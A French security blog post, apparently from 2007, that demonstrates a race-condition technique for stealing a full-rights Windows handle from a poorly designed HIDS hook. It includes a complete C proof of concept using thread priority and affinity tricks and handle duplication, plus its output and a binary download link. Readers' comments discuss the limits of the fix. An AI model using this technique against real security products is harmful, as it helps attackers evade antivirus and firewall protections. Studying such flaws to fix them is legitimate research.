Stealing with preemption

novembre 24th, 2007 at 04:22 admin

Monstrueuse soirée hier, je suis allé au concert de Eths ! Première partie de Babylon Pression, totalement inconnu pour moi, ils m’ont complètement éclaté quand ils sont descendus jouer dans la « fosse » avec le pogo autour d’eux … IMPRESSIVE ! Dès que j’ai l’occasion de les revoir j’y vais. La suite Eths, de la bombe sur scène, un son qui annihile les oreilles tellement les enceintes weak saturaient, surtout le passage noisecore ou Candice à crié pendant 2 mins non stop, ca fait de la peur :] Pour vous faire une idée, ca ressemblait en gros à ce live . Ma preferée du live ? V.I.T.R.I.O.L extraite de leur dernier album, c’est booonnnnn !
Le prochain concert, ca sera black métal avec Mayhem. Cette fois ci je n’irais pas jouer aussi près du pogo ;)
Sinon nouvelle découverte nu-metal pour moi, Flyleaf et en plus la chix est cute ! (emo time, So I Thought). Si vous cherchez du bon son y’en a sur le blog de mon pote.

Depuis que j’ai 15 RSS sur des blogs metal qui proposent des albums en DDL tous les jours j’ai du mal à résister (rofl@Olivennes, ou je vais dl mes pr0nz now …)

Revenons-en à notre joli OS. Aujourd’hui nous allons voir que la préemption est un superbe mécanisme mais que dans certaine situation elle peut poser des problèmes de sécu si on ne protège pas certaines parties de code.

Je me place dans l’hypothèse ou le système possède un HIDS controlant l’ouverture de handles sur tous types d’objets. Typiquement un AV ou FW hookant dans le kernel la SSDT des apis commes NtCreateFile, NtOpenFile, NtOpenSection, etc …

L’HIDS dans ses hooks vas appeler les fonctions originales puis contrôler leurs retours. Dans le cas ou le retour de la fonction ne lui plait pas il va appliquer ses règles sur le handle ouvert. Pour mieux comprendre, je vais prendre un exemple concret. L’histoire se déroule sur un système avec un HDIS pas très malin. Ce dernier hook le syscall NtOpenSection pour contrôler l’accès au \Device\PhsysicalMemory, jusque là tout va bien. Problème, ce con de HDIS ne fonctionne pas vraiment dans le bon ordre, en effet il appelle la vrai NtOpenSection puis check le résultat. Dans le cas ou l’ouverture est valide et que l’object section concerné était \Device\PhsysicalMemory il ferme le premier handle et le rouvre en enlevant le GENERIC_WRITE de l’ACCESS_MASK … pas très très fort le HIDS.

J’ai reproduit le concept dans un code userland (pour l’exemple) avec le code ci-dessous. J’ai prit le device C: à la place du \Device\PhsysicalMemory. J’ai une routine qui correspond à un hook de CreateFile (MyCreateFile) qui est appelée par un thread (ThreadOpen). En premier MyCreateFile ouvre un handle sur le device avec les droits passés en argument, vérifié si l’ouverture est possible. Ensuite si le param dwDesiredAccess demande une ouverture en GENERIC_READ alors MyCreateFile va le désactiver et renvoyé un handle en GENERIC_READ.

#include <windows.h>
#include <stdio.h>

HANDLE MyCreateFile(
  LPCTSTR lpFileName,
  DWORD dwDesiredAccess,
  DWORD dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD dwCreationDisposition,
  DWORD dwFlagsAndAttributes,
  HANDLE hTemplateFile
)
{
    HANDLE hFile;
    
    hFile=CreateFile(lpFileName,            
                    dwDesiredAccess,        
                    dwShareMode,            
                    lpSecurityAttributes,   
                    dwCreationDisposition, 
                    dwFlagsAndAttributes,   
                    hTemplateFile);         
    
    //check si l'ouverture est ok
    if(hFile==INVALID_HANDLE_VALUE) 
        return INVALID_HANDLE_VALUE;
    
    //2 cas, soit on demande un ouverture en écriture, alors on close le handle hFile 
    //et on reouvre le file en GENERIC_READ
    //Sinon on renvoie le handle
    if(dwDesiredAccess&GENERIC_WRITE)
    {
        CloseHandle(hFile);
        
        printf("Removing GENERIC_WRITE righ\n");
        
        hFile=CreateFile(lpFileName,           
                    dwDesiredAccess&~GENERIC_WRITE,  //vire le flag GENERIC_WRITE de dwDesiredAccess     
                    dwShareMode,           
                    lpSecurityAttributes,   
                    dwCreationDisposition, 
                    dwFlagsAndAttributes,   
                    hTemplateFile);
      if(hFile!=INVALID_HANDLE_VALUE)
        return hFile;      
    }
    else
        return hFile;                        
    
    return INVALID_HANDLE_VALUE;   
}


DWORD WINAPI ThreadOpen(LPVOID lpParameter)
{
    HANDLE hFile;
    
    hFile=MyCreateFile("\\\\.\\C:",
                    GENERIC_READ|GENERIC_WRITE,
                    FILE_SHARE_READ|FILE_SHARE_WRITE,
                    NULL,
                    OPEN_EXISTING,
                    FILE_ATTRIBUTE_NORMAL,
                    NULL);
    if(hFile==INVALID_HANDLE_VALUE)
    {
        printf("Error with CreateFile : %d\n", GetLastError());
        return 0;   
    }
    
    CloseHandle(hFile);
    return 0;   
}


int main()
{
    DWORD TID;
    HANDLE hThread;
        
    hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadOpen, NULL, 0, &TID);
    if(hThread==NULL)
    {
        printf("Error with CreateThread : %d\n", GetLastError());
        return 0;   
    }
    
    WaitForSingleObject(hThread, INFINITE);
    
    CloseHandle(hThread);
    return 0;   
}

Vous me direz qu’a première vue, même si la vérification semble un peu weird, niveau sécu ya pas de soucis. Sauf, sauf, sauf que ! Imaginez, vous êtes entourée de 2 chix ultra cute, légèrement habillé et là, elles commencent à vous … HEWWW trompé de fenêtre, maudits chocapicz, désolé :] Je disais donc, imaginez que le durant la routine de vérification le thread de fasse préempté par un autre thread sous ordre du scheduler. Si, comme de par un hasard magique, le thread se fait préempté juste après avoir ouvert le handle avec les droits passé en params. On se retrouve avec notre process possédant les droits voulu sur l’objet (les handles étant process spécific, je le rappel) durant un court temps. IMAGINEZ qu’a ce moment là on regarde les handles ouvert du process et qu’en voyant ce zoli handle sur notre objet avec les droits voulu on duplique ce handle. GRUUUUTT !

Le concept est intéressant. Reste à l’appliquer … Première, étape, comment faire en sorte que le thread se fasse préempter au bon moment ? On a pas le choix, il faut bruteforcer, on va faire en sorte que le thread qui ouvre l’objet tourne en priority -6 avec l’api SetThreadPriority , tandis qu’en parallèle un autre thread tournera dans le même process en priority +6. Le scheduler privilégiant le second thread devra préempter le premier. Ensuite comme j’ai un dual core, je vais faire tourner les 2 threads sur le core 0 avec l’API SetThreadAffinityMask pour être bien sur qu’aucun des threads ne tourne en parallèle sur l’autre core.

Seconde étape, retrouver le handle. On ne va pas s’amuser à énumérer tous les handles du process, cela est trop compliqué et prendrait trop de temps. On va ruser comme des renards, sachant qu’un handle n’est qu’au final un indice dans une table, il suffit de crée un handle, de récup sa valeur puis de le ferme, en théorie le handle suivant devrait prendre la même valeur.

Ensuite on fait tourner les threads dans des boucles infinies. Le thread chargé de volé le handle va utilisé NtQueryObject pour retrouver le nom du handle supposé. Dans mon exemple j’ai prit le device NUL. S’il trouve le device il duplique le handle et check si l’écrite est disponible dessus :] Si c’est bon on a volé le handle comme désiré. En code ca donne :

#include &ltwindows.h&gt
#include &ltstdio.h>

#include "ntdll.h"

#pragma comment (lib, "ntdll.lib");

HANDLE MyCreateFile(
  LPCTSTR lpFileName,
  DWORD dwDesiredAccess,
  DWORD dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD dwCreationDisposition,
  DWORD dwFlagsAndAttributes,
  HANDLE hTemplateFile
)
{
    HANDLE hFile;
    
    hFile=CreateFile(lpFileName,            
                    dwDesiredAccess,        
                    dwShareMode,            
                    lpSecurityAttributes,   
                    dwCreationDisposition, 
                    dwFlagsAndAttributes,   
                    hTemplateFile);         
    
    //check si l'ouverture est ok
    if(hFile==INVALID_HANDLE_VALUE) 
        return INVALID_HANDLE_VALUE;
    
    printf("Handle value : 0x%x\n", hFile);
    
    //2 cas, soit on demande un ouverture en écriture, alors on close le handle hFile 
    //et on reouvre le file en GENERIC_READ
    //Sinon on renvoie le handle
    if(dwDesiredAccess&GENERIC_WRITE)
    {
        CloseHandle(hFile);
        
        printf("Removing GENERIC_WRITE righ\n");
        
        hFile=CreateFile(lpFileName,           
                    GENERIC_READ,  //vire le flag GENERIC_WRITE de dwDesiredAccess     
                    dwShareMode,           
                    lpSecurityAttributes,   
                    dwCreationDisposition, 
                    dwFlagsAndAttributes,   
                    hTemplateFile);
      if(hFile!=INVALID_HANDLE_VALUE)
        return hFile;      
    }
    else
        return hFile;                        
    
    return INVALID_HANDLE_VALUE;   
}


DWORD WINAPI ThreadOpen(LPVOID lpParameter)
{
    HANDLE hFile;
    
    while(1)
    {
        hFile=MyCreateFile("\\\\.\\NUL",
                        GENERIC_READ|GENERIC_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL);
        if(hFile==INVALID_HANDLE_VALUE)
        {
            printf("Error with CreateFile : %d\n", GetLastError());
            return 0;   
        }
        
        CloseHandle(hFile);
    }
    
    return 0;   
}


DWORD WINAPI ThreadSteal(LPVOID lpParameter)
{
    HANDLE hObject, hDup;
    ULONG Status, BytesRet;
    POBJECT_NAME_INFORMATION pONI;
    OBJECT_BASIC_INFORMATION OBI;
    
    while(1)
    {
        hObject=MyCreateFile("C:\\Windows\\explorer.exe",
                            GENERIC_READ,
                            FILE_SHARE_READ|FILE_SHARE_WRITE,
                            NULL,
                            OPEN_EXISTING,
                            FILE_ATTRIBUTE_NORMAL,
                            NULL);
        if(hObject==INVALID_HANDLE_VALUE)
        {
                printf("Error with CreateFile : %d\n", GetLastError());
                goto cleanup;   
        }
        CloseHandle(hObject);
       
        
        printf("Next supposed handle value : 0x%x\n", hObject); 
         
        
        /*******************NAME*****************/
        pONI=(POBJECT_NAME_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_PATH); 
        
        Status=ZwQueryObject(hObject, 
                            ObjectNameInformation, 
                            pONI, 
                            MAX_PATH, 
                            &BytesRet);
        if(Status!=STATUS_SUCCESS) // si c'est bon cette fois ci
        {   
            //printf("Error with NtQueryObject (ObjectNameInformation) : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
            goto cleanup;
        }               
                                
        if(pONI->Name.Length)
            wprintf(L"%s\n", pONI->Name.Buffer);
        else
            printf("\n");   
        
        if(wcscmp(pONI->Name.Buffer, L"\\Device\\Null")==0)
        {
           //printf("Duplicating handle ...\n");
           
           Status=ZwDuplicateObject(GetCurrentProcess(),
                        hObject,
                        GetCurrentProcess(),
                        &hDup,
                        0,
                        false,
                        DUPLICATE_SAME_ACCESS);
            if(Status!=STATUS_SUCCESS)
            {           
                printf("Error with NtDuplicateObject : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
                goto cleanup;
            }                   
            
            /*
            sort un result zarb ...
            Status=ZwQueryObject(hDup, 
                            ObjectBasicInformation, 
                            &OBI, 
                            sizeof(OBI), 
                            &BytesRet);
            if(Status!=STATUS_SUCCESS)
            {           
                printf("Error with NtQueryObject : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
                goto cleanup;
            }   
            
            printf("OBI.GrantedAccess : 0x%x\n", OBI.GrantedAccess);
            */
            
            if(!WriteFile(hDup, "bouh", strlen("bouh"), &BytesRet, 0))
                printf("FUCKED\n");
                
            printf("Getting handle with full rights \\o/\n");
            HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, pONI);
            CloseHandle(hObject);
            
            ExitThread(0);             
        }   
        
        cleanup:
        HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, pONI);
        CloseHandle(hObject);
    }
        
    return 0;
}


int main()
{
    DWORD TID;
    HANDLE hThreadOpen, hThreadSteal;
        
    hThreadSteal=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadSteal, NULL, 0, &TID);
    if(hThreadSteal==NULL)
    {
        printf("Error with CreateThread : %d\n", GetLastError());
        return 0;   
    }
    SetThreadPriority(ThreadSteal, 6);
    SetThreadAffinityMask(hThreadSteal, 0);
    
    
    hThreadOpen=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadOpen, NULL, 0, &TID);
    if(hThreadOpen==NULL)
    {
        printf("Error with CreateThread : %d\n", GetLastError());
        return 0;   
    }
    SetThreadPriority(hThreadOpen, -6);
    SetThreadAffinityMask(hThreadOpen, 0);
    
    //wait le ThreadSteal
    WaitForSingleObject(hThreadSteal, INFINITE);
    
    TerminateThread(hThreadOpen, 0);
    
    CloseHandle(hThreadSteal);
    CloseHandle(hThreadOpen);
    
    return 0;   
}

En pratique ca sort :

C:\ProgHack\c>prempt
[...]
Removing GENERIC_WRITE righ
Error with NtDuplicateObject : 0xc0000008 : 6
Handle value : 0x7d8
Next supposed handle value : 0x7d8
Handle value : 0x7d8
\Device\Null
Getting handle with full rights \o/

Evidemment, c’est attaque est a appliqué sur un thread utilisant un syscall checké par un HDIS mal foutu. La je le fais en user-land pour vous montrer une application. Le reste dépend de vous ;)

Je vous file le code+bin ici :
http://ivanlef0u.fr/repo/Preempt.rar

Bien évidemment il est possible d’empêcher le fait qu’un code se fasse préempté en utilisant des Critical Sections.

Sinon 2 docs qui valent le coup d’être lues :
What Every Programmer Should Know About Memory

Understanding Full Virtualization, Paravirtualization, and Hardware Assist

Enfin IRC, la ou tout est possible :)

<presonic_> WUSUP PUSSIES
<zmda> someone is teaching me kernel hacking
<presonic_> cool
<zmda> [06:47] <[I]shTuS> i mean with the PAX thing
<zmda> [06:47] <zmda> i want to bypass its features
<zmda> [06:47] <zmda> i found a 0day
<zmda> [06:47] <zmda> in the linux tcpip stack
<zmda> [06:48] <zmda> ip_queue_xmit() or something
<zmda> [06:55] <[I]shTuS> how many bytes does it take to overflow?
<zmda> [06:57] <zmda> 4gig i think
<presonic_> lol
<presonic_> 4 gig
<zmda> [07:03] <[I]shTuS> exact ammount of data + 4 bytes to change eip to a CALL ESP instruction + your code that binds a shell or something
<zmda> [07:07] <zmda> it's an integer overflow
<zmda> [07:07] <zmda> that triggers off a slab allocator overflow
<zmda> [07:08] <[I]shTuS> hmm what is a slab allocator overflow?...
<zmda> [07:08] <[I]shTuS> never heared of it
<zmda> he said he was deep into kernel exploitation
<zmda> at the start
<zmda> [07:08] <[I]shTuS> int overflow leads to buffer overflow
<zmda> [07:09] <[I]shTuS> http://en.wikipedia.org/wiki/Buffer_overflow

Entry Filed under: RE

3 Comments

  • 1. Baboon  |  novembre 25th, 2007 at 11:35

    simpa comme article !
    J’aime assez ce genre de bricolage (meuh non te vexe pas)
    C’est fastoche a comprendre , c’est joli , j’adoooore.
    Sinon je te demanderais sur irc quel est donc cet AV / FW mal foutu
    :P


  • 2. mxatone  |  novembre 26th, 2007 at 10:02

    Je ne serais pas aussi critique que toi sur l’implementation, la creation de règles appliquées à un device ou le filtering efficace de device pouvant etre linké symboliquement n’est pas une tache facile (loin de la).

    Sinon l’utilisation de critical section n’est pas une solution, ca permet juste que 1 ou plusieurs threads ne se trouve pas dans la même partie de code au même moment, c pour ca qu’il y a une variable qui definit la critical section. Ca n’arrete pas tous les threads du processus le temps de tes commandes (heureusement).

    Même dans le cas ou tu arriverais a prendre la main sur les threads du process pendant un cour instant, les pertes en synchronisation interprocess serait catastrophique surtout sur un call comme NtCreateFile. Tu ne peux pas arreter tous les threads d’une application pour un check de securité … Surtout qu’avec l’infrastructure Windows tu peux utiliser un autre process pour faire exactement la même chose (cf OpenProcess, Read/WriteProcessMemory et DuplicateHandle qui est possible sur un process remote). Tu peux toujours passer à DISPATCH_LEVEL ou en exclu tout processeur pour cheque un handle … heu quoi que NON :p

    Au niveau des candidats, la liste pourrait etre longue quand on voit l’implementation des syscall par certains antivirus, néamoins ce bug est très spécifique et c’est un exemple classique qui montre les problèmes rencontré dans le kernel, ne cherchez pas comment l’utiliser sur un antivirus donné car il est fort probable que bien d’autres bugs soit présent et pas celui-ci.


  • 3. admin  |  novembre 28th, 2007 at 20:26

    Ha vi, je me suis trompé pour les criticals sections. Bien vu encore mx, merci :]


Trackback this post


Calendar

juillet 2020
L Ma Me J V S D
« fév    
 12345
6789101112
13141516171819
20212223242526
2728293031  

Most Recent Posts